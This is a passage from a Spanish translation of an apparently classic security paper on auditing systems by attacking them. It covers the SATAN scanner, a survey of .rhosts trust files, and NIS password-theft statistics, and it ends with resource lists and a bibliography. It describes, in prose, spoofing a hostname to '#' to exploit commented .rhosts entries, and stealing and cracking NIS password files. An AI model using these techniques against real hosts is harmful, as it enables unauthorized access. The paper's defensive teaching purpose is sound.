Mientras es casi seguro que alguna de la informacion aquí presentada es material nuevo para aspirantes a crackers de sistemas, y que algunos la usaran para ganarse accesos no autorizados en hosts, la evidencia presentada por nuestros tests muestra que hay un monton de sites inseguros, simplemente por que el administrador de sistema no sabe mucho mas - no son estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que tienen libre explorando todas las materias de seguridad pertenecientes a sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil a este tipo de informacion da como resultado sistemas pobremente defendidos.

Esperamos (modetamente) que este documento provea de datos muy necesarios sobre como los sistemas son crackeados, y mas aun, explique por que se deben de dar ciertos pasos para proteger un sistema. El saber por que algo es un problema es, en nuestra opinion, la clave para aprender y hacer una eleccion informada e inteleginte para lo que la seguridad de tu sistema significa de verdad.

Apendice A:

SATAN (Security Analysis Tool for Auditing Networks)

Concebido originalmente hace unos años, SATAN es actualmente el prototipo de una vision mas amplia y comprensible de una herramineta de seguridad. En su encarnacion actual, SATAN prueba e informa remotamente acerca de varios bugs y debilidades en servicios de red y sistemas basados en ventanas, asi como tambien detalla tanta informacion util sobre la victima como le es posible. Entonces procesa los datos con un filtro y con lo que se calificaria como un sistema experto para al final generar el analisis de seguridad. A pesar de no ser particularmente rapido, es extremadamente adaptable y facil de modificar.

SATAN consiste en varios sub-programas, cada uno de los cuales es un fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que testea un host para una debilidad potencial dada. El añadir futuros programas de testeo es tan facil como poner un ejecutable en el directorio principal con la extension ".sat"; el programa principal lo ejecutara automaticamente. Este genera una serie de blancos (usando DNS y una version rapida de ping a la vez para llegar a los blancos en directo), y despues ejecuta cada uno de los programas sobre cada uno de los blancos. Un programa de interpretacion/filtrado de datos analiza despues el resultado, y finalmente un programa de informes digiere todo para ponerlo en un formato mas leible.

El paquete entero, incluyendo el codigo fuente y la documentacion, estara disponible libremente al publico, via ftp anonimo y postenadolo a uno de los numerosos foros sobre codigo fuente de Usenet.

Apendice B

Un estudio informal llevado a cabo en al menos una docena de sites en Internet (educacionales, militares, y comerciales, con unos 200 hosts y 4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts confiados; sin embargo, no era raro el tener unas 100 entradas en el archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba alrededor de 500! (Este no es un record del que uno deberia estar orgulloso de poseer). Adicionalmente, cada uno de los sites directamente en Internet (un site estaba practicamente tras un firewall) confiaba en un usuario o host en otro site - asi que, la seguridad del site no estaba bajo el control directo del administrador de sistema. Los sites mas grandes, con mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con archivos .rhosts, pero el tamaño de estos archivos era mayor, asi como el numero de hosts remotos de confianza.

Aunque fue muy dificil el verificar cuantas de las entradas fueron validas, con nombres de host tales como "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de wildcard, nos cuestionamos la sensatez de poner la seguridad de un site en manos de sus usuarios. Muchos usuarios (especialmente los poseedores de largos archivos .rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts, que son intentados reolver como nombre de host validos por muchos sistemas UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS y NIS de engaño del nombre de host discutidas antes para fijar sus nombres de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites (al menos una distribucion es dada con comentarios en sus archivos /etc/hosts.equiv).

Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran. Virtualmente todos los administradores saben un monton sobre seguridad y escriben programas de seguridad como hobby o como profesion, y muchos de los sites para los que trabajaron hicieron estudios de seguridad o crearon productos de seguridad. Solo podemos suponernos como sera un site "tipico".

Apendice C:

Despues de recibir mail de un site que habia sido violado desde uno de nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos que el intruso estaba haciendolo desde una lista de sites ".com" (comerciales), buscando hosts con ficheros de password faciles de robar. En este caso, "facil de robar" se refiere a sites con un nobre de dominio NIS facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos habia llegado el intruso, parecia una buena idea el alertar a los sites que

eran en si vulnerables al robo de passwords. De los 656 hosts de la lista del intruso, 24 tenian archivos de password susceptibles de robo - 1 de cada 25 hosts mas o menos!!. Un tercio de estos archivos contenia al menos una cuenta sin password con shell interactivo. Con un total de 1594 entradas, a una media de 10 minutos corriendo un password cracker (Crack) daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja. Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de la cuenta root se encontro en solo 1 hora. El resultado despues de unos dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%) con al menos un password conocido, y 259 de 1594 (1 sexto) passwords adivinados.

Apendice D:

Como conseguir metodos de seguridad gratis en Internet

Listas de mail:

o The CERT (Computer Emergency Response Team) advisory mailing list. Mandar e-mail a cert@cert.org, y pedir que se te ponga en su lista de mail.

o The Phrack newsletter. Mandar e-mail a phrack@well.sf.ca.us y pedir que se te añada en la lista.

o The Firewalls mailing list. majordomo@greatcircle.com
Poner lo siguiente:

subscribe firewalls

o Computer Underground Digest. Mandar e-mail a tk0jut2@mvs.cso.niu.edu, pidiendo que te pongan en la lista.

Software gratis:

COPS (Computer Oracle and Password System) disponible via ftp anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl, in pub/security.

Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.

TAMU is a UNIX auditing tool that is part of a larger suite of excellent tools put out by a group at the Texas A&M University. They can be gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources.

Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib.

The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail.

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

Bibliografia:

Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987.

Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished).

Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990.

Shimomura, Tsutomu, private communication.

Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.